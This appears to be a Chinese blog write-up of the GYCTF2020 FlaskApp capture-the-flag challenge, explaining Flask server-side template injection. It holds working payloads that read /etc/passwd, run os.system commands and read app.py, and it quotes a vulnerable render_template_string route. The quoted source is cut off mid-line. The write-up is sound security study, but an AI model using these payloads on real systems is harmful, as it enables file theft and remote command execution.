Flask SSTI注入学习

竞赛平台:https://buuoj.cn/

1.[GYCTF2020]FlaskApp

第零步,Flask模板注入知识梳理:

1.通过使用魔法函数可以实现,在没有注册某个模块的条件下,调用模块的功能。

__class__  返回对象所属类型
__mro__    返回对象所属类、所继承的基类元组,方法在解析时按照元组的顺序解析
__base__   返回该对象所继承的基类,一般是object,如果不是需要使用上一个方法
// __base__和__mro__都是用来寻找基类的
__subclasses__   返回子类
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

例子(windows python 3.7):

''.__class__				<type 'str'>
''.__class__.__mro__		(<type 'str'>, <type 'object'>)
''.__class__.__base__		<class 'object'>
''.__class__.__mro__[1].__subclasses__() 	列出了所有子类
''.__class__.__base__.__subclasses__() 		和上面效果相同

其他例子(未知环境):

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() 	读取文件
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')						执行系统命令
如果函数已经被__init__了,还可以通过下面方法执行命令:
''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']

关于内建函数:

当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。内置的函数名字会放在内建名称空间中,初始的builtins模块提供内建名称空间到内建对象的映射。

__builtins__中,有像lenstr这样熟悉的函数。

python沙盒溢出的关键:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。

参考链接:SSTI/沙盒逃逸详细总结

第一步,使Base64解密报错,具体报错如下:

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode()) #报错位置
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

函数获取text值直接解码,并将解码结果放到tmp中。如果waf函数检查发现tmp中存在注入行为,则会返回no no no !!;否则直接在模板上显示tmp。

因此,我们的目的是绕过waf函数实现注入。

第二步,读源码。

将下面的代码加密后输入解密框中(在报错提示中可以看到文件名为app.py):

{
   % for c in [].__class__.__base__.__subclasses__() %}
{
   % if c.__name__=='catch_warnings' %}
{
   {
    c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{
   % endif %}
{
   % endfor %}

得到报错:

 from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config[&#39;SECRET_KEY&#39;] = &#39;s_e_c_r_e_t_k_e_y&#39; bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField(&#39;BASE64加密&#39;,validators= [DataRequired()]) submit = SubmitField(&#39;提交&#39;) class NameForm1(FlaskForm): text = StringField(&#39;BASE64解密&#39;,validators= [DataRequired()]) submit = SubmitField(&#39;提交&#39;) def waf(str): black_list 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值